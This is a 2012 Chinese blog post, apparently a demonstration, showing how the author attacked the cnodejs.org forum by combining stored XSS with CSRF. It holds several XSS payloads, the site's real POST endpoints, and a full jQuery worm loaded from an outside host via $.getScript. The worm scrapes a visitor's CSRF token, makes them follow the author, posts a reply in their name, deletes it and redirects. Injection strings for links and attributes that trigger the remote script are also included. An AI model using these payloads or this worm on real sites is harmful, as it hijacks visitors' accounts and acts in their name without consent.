XSRF攻击实例,注入cnodejs.org官网
by snoopyxdy
at 2012-09-22 21:48:18
original http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873
<script>alert("xss")</script>
<img src="http://snoopyxdy.blog.163.com/blog/err" onerr="alert('xss')" /><script>alert('xss')</script>... ...
<a href="http://snoopyxdy.blog.163.com/blog/用户填写的内容">用户填写的连接描述</a>
a、用户填写的超连接内容 = javascript:alert("xss");b、用户填写的超连接内容 = http://www.baidu.com#"onclick="alert('xss')"
请求地址:http://cnodejs.org/503cc6d5f767cc9a5120d351/replypost数据:r_content:顶起来,必须的_csrf:Is5z5W5KmmKwlIAYV5UDly9F
请求地址:http://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/deletepost数据:reply_id:504ffd5d5aa28e094300fd3a_csrf:Is5z5W5KmmKwlIAYV5UDly9F
请求地址: http://cnodejs.org/ user/followpost数据:follow_id: '4efc278525fa69ac690000f7',_csrf:Is5z5W5KmmKwlIAYV5UDly9F
最后我们将整个脚本放入 http://rrest.cnodejs.net/static/cnode_csrf.js ,利用注入的a标签执行:javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js');(function(){
var atturl = 'http://snoopyxdy.blog.163.com/blog/static/60117440201281294147873/';
if($('#xss').length>0) $('#xss').attr('target','_sel');
try{
var replayid = $('#reply_form').attr('action').split('/')[1];
var myid = '4efc278525fa69ac690000f7';
var csrfatt = '';
setTimeout(function(){
location.href = atturl;
},2000)
$.get(location.href,{},function(html){
if(html){
try{
var y = html.indexOf('_csrf');
csrfatt = html.slice(y+8, y+32);
}
catch(e){}
if(csrfatt){
$.post('/user/follow', {follow_id:myid, _csrf:csrfatt},function(){
$.post('/'+replayid+'/reply', {r_content:'我崇拜snoopy,他是英雄!', _csrf:csrfatt},function(d){
setTimeout(function(){$.get(location.href, {}, function(data){
var $html = $(data);
var rid = $html.find('.reply_item:last').attr('reply_id');
if(rid){
$.post('/reply/'+rid+'/delete',{reply_id:rid, _csrf:csrfatt},function(d){
location.href = atturl;
})
}
},'html');
},200);
})
})
}
}
},'html');
}
catch(e){
location.href = atturl;
}
}())
javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js')//
"id='follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js'onmousedown='$.getScript(this.name)//'